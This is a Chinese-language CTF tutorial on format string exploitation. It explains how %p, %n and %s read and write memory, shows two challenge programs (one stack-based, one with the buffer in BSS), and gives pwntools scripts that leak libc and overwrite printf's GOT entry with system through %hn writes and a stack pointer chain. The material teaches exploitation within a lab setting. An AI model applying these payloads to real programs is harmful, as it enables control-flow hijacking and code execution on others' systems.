一开始想分好几个等级讲解,后来想了想其实很难界定,本质上是题目环境进行的难度界定,而不是格式化本身进行的界定,这种强制划分可能会起到适得其反的效果。

格式化漏洞自从printf升级之后,遇到的几率很少很少,刚开始学的时候做的也基本找不到了,用几个典型题目讲解一下

栈上和非栈上主要是掌握%p,%n,%s这三个格式化参数,普通的直接改,困难的就改magicgadget创造机会,本质上都一样,泄露,改,再泄露,再改。

正规点说的如下

格式化字符串漏洞的根本成因在于C语言中printf族函数的设计机制。这类函数是可变参数函数,无法在编译时验证格式化字符串与实际参数数量和类型的匹配性。当格式化字符串中的控制符数量超过实际提供的参数时,函数会继续从栈中读取后续数据作为参数进行解析。

漏洞利用主要依赖两种核心控制符:

读取型控制符:如%x、%p、%s等,用于从栈中读取数据并格式化输出

写入型控制符:如%n,用于将已输出的字符数写入指定内存地址

攻击者通过构造特定的格式字符串,可以实现对程序内存的任意读取和写入,进而劫持程序控制流,实现提权、执行任意代码等攻击目的 2 。典型的漏洞代码表现为printf(format_string, ...),其中format_string直接来自用户输入而未经过验证。

栈上格式化漏洞

原理

先补充一下基础知识

C/C++ 里 printf/fprintf/syslog 等“格式化输出”函数有两类输入:

format:格式串(例如 "%s %d\n")

varargs:可变参数列表(例如 printf("%s %d\n", s, n))

漏洞典型形态是:把用户可控字符串当成 format 传入:

安全:printf("%s", user_input);

危险:printf(user_input); ← 用户输入变成 format

一旦用户能控制 format,就能控制 printf 如何从栈/寄存器里取“参数”,如何解释这些值,甚至在某些情况下触发写内存。

然后我们之前补充过参数的原理

利用fini_array实现格式化字符串攻击的进阶技巧-先知社区

题目(20250xgame--简单格式化字符串)

通过网盘分享的文件:简单的格式化字符串.zip

链接: https://pan.baidu.com/s/1lUFJycuTS1UvlwCoeIGkTw?pwd=aaaa 提取码: aaaa

--来自百度网盘超级会员v4的分享

// local variable allocation has failed, the output may be wrong!
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init(*(_QWORD *)&argc, argv, envp);
  puts(&::s);
  puts(&s_);
  do
  {
    memset(s, 0, sizeof(s));
    puts(&s__0);
    read(0, s, 0x27u);
    printf(s);
  }
  while ( strcmp(s, "end\n") );
  puts(&s__1);
  printf(&format);
  read(0, s, 0x100u);
  return 0;
}

这个是有无限次写入的,但是空间给的是有限的

我们第一次泄露,第二次直接卡极限覆写got表即可

def ak1():
    pd = b'%13$p'
    io.recv()
    s(pd)
    rt(b'0x')
    lib = ri(12)-0x29d90
    pr(lib)
    system = lib + libc.sym['system']
    pd = b'%' + str(system&0xffff).encode() + b'c%9$hn'
    pd += b'%' + str(((system >> 16)&0xffff)-(system & 0xffff)).encode() + b'c%10$hn'
    pd += p64(elf.got['printf'])
    pd += p64(elf.got['printf']+2)
    if len(pd) > 0x27:
        pd = pd[:0x27]  # 确保最终 payload 不超过 0x27 字节
    pr(len(pd))
    s(pd)
if __name__ == '__main__':
    create_io()
    #duan(0x4012EA)#printf的打印的位置
    ak1()
    it()

非栈上格式化

原理

本质上这个多了一个指针链的构造,没有什么很特殊的地方。

非栈上漏洞是指格式化字符串存储在堆、BSS段等非栈内存区域的情况,这种漏洞利用更为复杂,需要间接技术。

核心利用原理:

栈指针间接访问:非栈上漏洞无法直接操作栈数据,但可以通过栈上的指针(如EBP链)间接访问其他内存区域。例如,当栈上存在指向堆或Got表的指针时,可以通过该指针修改目标地址。

栈链技术:利用栈帧中的EBP指针形成链条,通过多层指针间接修改目标地址。

分阶段写入技术:由于%n一次写入的值通常较大,无法直接写入目标地址的全部字节,因此需要分多次写入 5 。例如,使用%hn写入2字节,再通过调整参数偏移完成对4字节或8字节地址的修改。

无限次有限空间+无pie

题目来自2025pctf,编译的时候用Ubuntu22编译即可

通过网盘分享的文件:nostackfmt.zip

链接: https://pan.baidu.com/s/1GHgQALPyR7AFCkPSPgPQQQ?pwd=aaaa 提取码: aaaa

--来自百度网盘超级会员v4的分享

题目源码

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void init(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
}

void hello(){
    puts("welcome to PCTF!");
    puts("Have you heard of nostackfmt?");
    puts("now it's your performance time.");
}

char buf[0x30];
int main(){
    
    int i;
    i = 0;
    init();
    hello();
    puts("Here's a gift for you");
    scanf("%p",&i);
    if(i==0){
        system("gift");
    }
    while(1){
        printf("You have tried %d times.\n",++i);
        read(0,buf,0x20);
        printf(buf);
    }
    return 0;
}

这个题是最常规的一个题,这类题没有什么难的,就是改一条链。

考虑到大家是新手,没有添加条件次数的限制

非栈上和栈上一个很大的区别是不能直接在栈上去写got表去修改,多了一步中转

可以通过修改栈修改返回地址,然后打ogg。

当然也可以改got,只不过多了一步。这里演示got

具体的话把这个改上去就行

这里是第二次修改的时候,接下来改偏移0x25的地址的修改成里面的main的地址为got的地址即可

这里我特意加上了后门函数,因为格式化修改大量的数据的很容易卡死,经过测试,长度3字节以上就开始有时间延迟了

wp

def ak1():
    global stack, pf_got
    stack = stack - 0x100
    pf_got = elf.got['printf'] + elf_base
    pd = b'%' + str(stack & 0xffff).encode() + b'c%13$hn'
    # pd = b'%' + str(pf_got & 0xffffffff).encode() + b'c%13$hn'
    s(pd)
def ak2():
    pd = b'%' + str(pf_got & 0xffff).encode() + b'c%43$hn'
    pd = pd.ljust(0x30, b'\x00')
    s(pd)
def ak3():
    system = elf.plt['system']
    pd = b'%' + str(system & 0xffffffff).encode() + b'c%11$$lln'
    pr(system)
    pd = pd.ljust(0x30, b'\x00')
    s(pd)

​